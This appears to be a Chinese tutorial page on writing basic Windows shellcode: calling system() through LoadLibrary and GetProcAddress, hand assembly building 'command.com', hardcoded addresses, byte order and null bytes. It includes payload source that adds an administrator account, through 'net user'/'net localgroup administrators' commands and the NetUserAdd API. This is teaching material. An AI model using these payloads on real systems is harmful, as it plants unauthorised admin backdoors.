第二章、Windows 下 ShellCode 编写初步

(一)shellcode

定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进制数组的形式存在

NOTES:计算机每次都只是执行当前 EIP 指向的指令(单 CPU)。在当前指令执行后,EIP 会自动加 1,从而指向下一条指令。如果有 JMP CALL RET 一类的指令,EIP 就会被强行改变成指定的地址,从而完成流程的跳转

(二)打开控制台窗口的 C 程序

升级版:

程序解释:

(1)typedef void (*MYPROC)(LPTSTR)

定义了一个函数指针,其指向函数的参数是字符串,返回值是空。该指针的作用是用于指向 system 函数,在后面调用它,就相当于调用 system 函数

(2)LibHandle = LoadLibrary(“msvcrt.dll”)

加载 msvcrt.dll 这个动态链接库,动态链接库的句柄赋给 LibHandle

(3)ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");

获得动态链接库的句柄后,我们再使用“GetProcAddress(LibHandle, system)”获得 system 的真实地址。之后再使用这个真实地址来调用 system 函数。执行该语句后,ProcAdd 为指向 system 函数的指针(而不是地址(*)),即ProcAdd 存的是 system 函数的地址

(4)(ProcAdd) ("command.com");

因为此时的 ProcAdd 为指向 system 函数的指针,所以“(ProcAdd) ("command.com")”就是调用“system("command.com")”,完成我们想要的功能

(三)查看函数的地址

看 system 函数的地址:在 VC 下按 F10 进入调试状态,然后在 Debug 工具栏中,点最后一个按钮‘Disassemble’和第四个按钮‘Registers’,这样就出现了源程序的汇编代码和寄存器状态窗口

按 F10,程序就会单步执行

EAX的值即为msvcrt.dll 的地址(‘LibHandle = LoadLibrary("msvcrt.dll")’那句下的call dword ptr [__imp__LoadLibraryA@4(0042413c)]就是执行‘LoadLibrary("msvcrt.dll")’,返回值就是 msvcrt.dll 的地址;而函数的返回值,通常都是放在 EAX 中)

(四)Windows 下的函数调用原理

1.Windows 下,函数的调用需要先把函数所在的动态链接库 Load 进去,这点大家都清楚。而在执行的时候用堆栈传递参数,然后直接 CALL 该函数的地址

2.NOTES:Linux 下,函数的执行是使用系统中断调用。系统把函数的系统调用码给 EAX(如 execve 是 0xb),函数带的参数给其他寄存器,最后执行 int$0x80 中断指令,完成函数的执行

3.例:在 Windows 下执行函数 Func(argv1, argv2, argv3) ,先把参数从右至左压入堆栈,这里就是依次把 argv3、argv2、argv1 压入堆栈里,然后 Call Func 函数的地址,这里的 Call Func

函数地址,其实等于两步,一是保存当前 EIP,二是跳到 Func 函数的地址执行,即 Push EIP + Jmp Func

(五)汇编和机器码——真正 ShellCode 的生成

1.写system(“command.exe”) 的汇编代码

不知道 command.exe 字符串的地址,故而自己构造,把‘command.exe’一个字符一个字符的压入堆栈

ESP 正好是 command.exe 字符串的地址,然后PUSH ESP

NOTE:1.计算机入栈是压四个字节,那我们就每次 PUSH 四个字节;或者我们就一个字节一个字

节地把值赋入堆栈,不用 PUSH,而直接用赋值,如下:

mov esp,ebp ;

mov ebp,esp ; 把当前 esp 赋给 ebp作为栈底

xor edi,edi ;

push edi ;压入 0,esp-4,; 作用是构造字符串的结尾\0 字符。

sub esp,08h ;加上上面,一共有 12 个字节,;用来放"command.com"。

mov byte ptr [ebp-0ch],63h ; c

mov byte ptr [ebp-0bh],6fh ; o

mov byte ptr [ebp-0ah],6dh ; m

mov byte ptr [ebp-09h],6Dh ; m

mov byte ptr [ebp-08h],61h ; a

mov byte ptr [ebp-07h],6eh ; n

mov byte ptr [ebp-06h],64h ; d

mov byte ptr [ebp-05h],2Eh ; .

mov byte ptr [ebp-04h],63h ; c

mov byte ptr [ebp-03h],6fh ; o

mov byte ptr [ebp-02h],6dh ; m 一个一个生成串"command.com".

lea eax,[ebp-0ch] ;

push eax ; command.com 串地址作为参数入栈

mov eax, 0x7801AFC3 ;

call eax ; call system 函数的地址

(1)‘push edi’和‘sub esp,08h’是把 esp 减去 12 字节,这 12 个字节空间就用来放(2)command.com’;(2)‘mov byte ptr [ebp-0ch],63h’等,是我们把 command.com 一个字节一个字节的放进留出的空间中;

(3)‘lea eax,[ebp-0ch]’来获得构造的 command.com 字符串的地址;

(4)‘push eax’把地址压入堆栈,call system 函数的地址就完成了

(六)ShellCode 通用性的初步分析

由于系统版本不一,造成 LoadLibrary 和 system 函数的地址不同

NOTES:自动查找函数地址的程序 GetAddr.cpp:

#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR); int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt");
printf("msvcrt LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
printf("system = //x%x\n", ProcAdd); return 0;
}

NOTES:

kernel32.dll中的LoadLibrary 函 数

user32.dll 中的 MessageBox 函数

1.弹出 Windows 对话框 ShellCode 的编写

#include "windows.h"
int main(int argc, char* argv[])
{
LoadLibrary("user32.dll");
MessageBox(0, "ww0830","ww", 1); return 0;
}

2.添加用户 ShellCode 的编写

1.(1)添加用户:net user name /add

(2)帐户添加到管理员: DOS 命令行下执行 net localgroup administrators name /add

#include <windows.h>
int main()
{
LoadLibrary("msvcrt.dll");
system("net user c /add");
system("net localgroup administrators c /add"); return 0;
}

2.添加用户的另一种方法

用的是 Netapi32.dll 里的 NetUserAdd 和 NetLocalGroupAddMembers 函数

NOTES:

(1)ASCII 编码是用一个字节来表示字符,这样只有 256 种组合

Unicode 是用两个字节(16 位)来表示字符,这样共有 65536 种组合

#ifndef UNICODE
#define UNICODE
#endif
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32") int wmain()
{
USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = L"ww0830";
ui.usri1_password = L"ww0830";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名为 ww0830 的用户,密码也为 ww0830 if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
//添加成功
printf("Add user success.\n");
}
else
{
//添加失败
printf("Add user Error!\n");
return 1;
}
wchar_t szAccountName[100]={0};
wcscpy(szAccountName,L"ww0830");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
//把 ww0830 添加到 Administrators 组
if(NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)==
NERR_Success )
{
//添加成功
printf("Add to Administrators success.\n");
return 0;
}
else
{
//添加失败
printf("Add to Administrators Fail!\n");
return 1;
}
}

NOTES:

1.查找到 LoadLibraryA 函数的地址是 0x77E6A254,system 函数的地址是 0x78019B4A,都是正确的,但为什么我把 ShellCode 对应的地方改成“\x77\xE6\xA2\x54”和“\x78\x01\x9B\x4A”后,不能弹出 DOS 窗口呢?

注意别把字节的顺序写反了,应该是“\x54\xA2\xE6\x77”和“\x4A\x9B\x01\x78”

2.在 Windows 系统下,多字节数存放的规则是:数的高位放在内存高址,数的低位放在内存低址。对0x77E6A25478 来说,0x77 是最高位,所以要放在内存的高地址,而在字符串中,是按照内存从低到高排列的,所以要把 0x77 放在字符串中数的最后。

3.LoadLibraryA 和 system 函数的地址在 Win2000 SP0 下,分别是 0x77E78023 和 0x7801AAAD;在SP2 下分别是 0x77E6A254 和 0x78019B4A;在 SP3 下分别是 0x77E69F64 和 0x7801AFC3;在 XP SP0 下分别是 0x77E605D8 和 0x77BF8044

4.为何LoadLibrary 函数在系统里面有 LoadLibraryA 和 LoadLibraryW 两种实现?而system只有一个呢?

在 Windows 下,存在几种编程接口。

(1) Windows API 函数。这类函数是和 Windows 系统相关的,使用的也是 Windows 下才特有的数据类型(比如 CHAR)。API 函数就存在 A 和 W 这两种实现,而 LoadLibrary 是 API 函数。

(2)C运行链接库,是按照C语言的标准来实现的,所以只有小写字母,而且只有一种实现,比如system

函数( C 语言标准中,规定函数名称都是小写)

5.Windows 应用程序的标识符通常用“大小写”混排的方式,如AddChild; Windows 下建议使用“匈牙利”命名规则,类名和函数名用大写字母开头的单词组合而成,变量和参数用小写字母开头的单词组合而成,常量全用大写,全局变量加前缀“g”,类的数据成员加前缀“m_”

Unix应用程序的标识符用“小写加下划线”的方式,如add_child

6.ShellCode 里面不能有 0x00,因为 0x00 是字符串的结束符

二、Windows 下 ShellCode 编写初步的更多相关文章

  1. (二)windows下安装PHPCMS V9

    一.准备工作 搭建环境 :参考:Windows下搭建PHP开发环境及相关注意事项 PHPCMS V9 :下载适合自己 PHPCMS V9 版本到本地或服务器,下载地址:http://www.phpcm ...

  2. [百度空间] [原]跨平台编程注意事项(二): windows下 x86到x64的移植

    之前转的: 将程序移植到64位Windows 还有自己乱写的一篇: 跨平台编程注意事项(一) 之前对于x64平台的移植都是纸上谈兵,算是前期准备工作, 但起码在写代码时,已经非常注意了.所以现在移植起 ...

  3. QT开发(二) windows下简单部署

    如果使用vs编译器 需要c runtime 例如(msvc110 )这种 还需要若干qt的dll 基本在qt的bin目录 如果使用了QWindow这种对象还需要引用qt目录 plugins下 的内容 ...

  4. windows下尝试编写node模块

    1,首先参考http://www.cnblogs.com/yupeng/p/3469444.html写了一个模块 2,按照指引运行 F:\Program Files\nodejs\mymodule&g ...

  5. Egret入门(二)--windows下环境搭建

    准备材料 安装Node.js TypeScript编辑器 HTTP服务器(可选) Chorme(可选) Egret 安装Node.js 打开www.nodejs.org 下载安装(全部next,全默认 ...

  6. 原创 C++应用程序在Windows下的编译、链接:第三部分 静态链接(二)

    3.5.2动态链接库的创建 3.5.2.1动态链接库的创建流程 动态链接库的创建流程如下图所示: 在系统设计阶段,主要的设计内容包括:类结构的设计以及功能类之间的关系,动态链接库的接口.在动态链接库中 ...

  7. Windows 下的 Makefile 编写

    Windows 下的 Makefile 编写(一)Makefile的基本规则 作者:cntrump Makefile对于很多人来说是陌生的,特别是习惯于使用 IDE 的人来说,似乎没有听说过 Make ...

  8. windows下的java项目打jar分别编写在windows与linux下运行的脚本( 本人亲测可用!)

    前言: 最近公司做了一个工具,要将这个工具打包成一个可运行的程序,编写start.bat和start.sh在windows和linux下都可以运行. 在网上找了很多资料,最后终于找到一个可靠的资料,记 ...

  9. 二、Spark在Windows下的环境搭建

    由于Spark是用Scala来写的,所以Spark对Scala肯定是原生态支持的,因此这里以Scala为主来介绍Spark环境的搭建,主要包括四个步骤,分别是:JDK的安装,Scala的安装,Spar ...

随机推荐

  1. input radio单选框绑定change事件

    html页面: <input type="radio" name="sex" value="female">female < ...

  2. linux-centos系统下安装python3.5.4步骤

    查看当前python版本:python -V 查看Python可执行文件位置:which python [root@localhost bin]# which python/usr/bin/pytho ...

  3. python之路-----python操作 mysql

    ========================pymysql============================ 一.pymysql 基础 安装命令:pip3 install pymysql - ...

  4. 三种Webpack打包方式

    准备工作mkdir webpack_demo && cd webpack_demo #新建文件夹npm init #创建package.json文件npm install --save ...

  5. MFC如何在树形图边上添加动态小地图

    MFC如何在树形图边上添加动态小地图 https://www.jianshu.com/p/7b1d828bf5db (简书无法识别缩进的...早知道先在博客园发了) (转载请注明出处) 作者:梦镜谷雨 ...

  6. node-express-1

    安装: express v4.0以后的安装: npm install express-generator -g 建立项目 express -t ejs blog 安装依赖 cd blog && ...

  7. 凯撒密码移位python

    #!/usr/bin/python'''凯撒密码'''a="gmbhqwertghjkcvbzn"s=[""]*len(a)for j in range(26) ...

  8. (一)java异常处理的几个问题

    1.java中两种异常? 答:java中存在两种异常:受检查(checked)异常和不受检查(unchecked)异常.不受检查的异常不需要在方法或者构造函数上声明,就算是方法或是构造函数会发生这样的 ...

  9. Docker run 命令

    docker run -d -p 8084:80 --name weather --restart always --link fme-postgis 192.168.1.220:5000/weath ...

  10. ng-repeat 中的track by

    <div style="font-size:15px"ng-repeat="item in groups.items track by $index"&g ...